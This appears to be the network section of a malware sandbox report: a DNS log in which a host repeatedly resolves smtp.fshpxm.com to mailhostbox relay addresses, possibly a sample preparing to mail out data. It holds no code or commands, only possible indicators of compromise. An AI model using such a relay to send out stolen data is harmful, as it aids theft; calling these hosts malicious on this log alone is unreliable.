Apr 18, 2024 10:25:11.448199034 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:11.448199034 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.448199034 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.448199034 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.448199034 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.556700945 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:11.556700945 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.556700945 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.556700945 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.556700945 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.664988995 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:11.664988995 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.664988995 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.664988995 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.664988995 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.770291090 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:11.770291090 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.770291090 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.770291090 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.770291090 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.875487089 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:11.875487089 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.875487089 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.875487089 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:11.875487089 CEST	8.8.8.8	192.168.2.22	0xecae	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:12.930912971 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:12.930912971 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:12.930912971 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:12.930912971 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:12.930912971 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.036251068 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:13.036251068 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.036251068 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.036251068 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.036251068 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.141865015 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:13.141865015 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.141865015 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.141865015 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.141865015 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.227605104 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:13.227605104 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.227605104 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.227605104 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.227605104 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.247337103 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:13.247337103 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.247337103 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.247337103 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.247337103 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.333023071 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:13.333023071 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.333023071 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.333023071 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.333023071 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.352905035 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:13.352905035 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.352905035 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.352905035 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.352905035 CEST	8.8.8.8	192.168.2.22	0xe2a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.438180923 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:13.438180923 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.438180923 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.438180923 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.438180923 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.543231010 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:13.543231010 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.543231010 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.543231010 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.543231010 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.648858070 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:13.648858070 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.648858070 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.648858070 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:13.648858070 CEST	8.8.8.8	192.168.2.22	0x1c21	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.281635046 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:14.281635046 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.281635046 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.281635046 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.281635046 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.386626005 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:14.386626005 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.386626005 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.386626005 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.386626005 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.491580009 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:14.491580009 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.491580009 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.491580009 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.491580009 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.596282005 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:14.596282005 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.596282005 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.596282005 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.596282005 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.701714039 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:14.701714039 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.701714039 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.701714039 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:14.701714039 CEST	8.8.8.8	192.168.2.22	0x3e97	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.758166075 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:15.758166075 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.758166075 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.758166075 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.758166075 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.863280058 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:15.863280058 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.863280058 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.863280058 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.863280058 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.968234062 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:15.968234062 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.968234062 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.968234062 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:15.968234062 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.053479910 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:16.053479910 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.053479910 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.053479910 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.053479910 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.073370934 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:16.073370934 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.073370934 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.073370934 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.073370934 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.158512115 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:16.158512115 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.158512115 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.158512115 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.158512115 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.177798033 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:16.177798033 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.177798033 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.177798033 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.177798033 CEST	8.8.8.8	192.168.2.22	0x3b5b	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.263518095 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:16.263518095 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.263518095 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.263518095 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.263518095 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.368520021 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:16.368520021 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.368520021 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.368520021 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.368520021 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.473067999 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:16.473067999 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.473067999 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.473067999 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:16.473067999 CEST	8.8.8.8	192.168.2.22	0x128e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.098417997 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:17.098417997 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.098417997 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.098417997 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.098417997 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.203258038 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
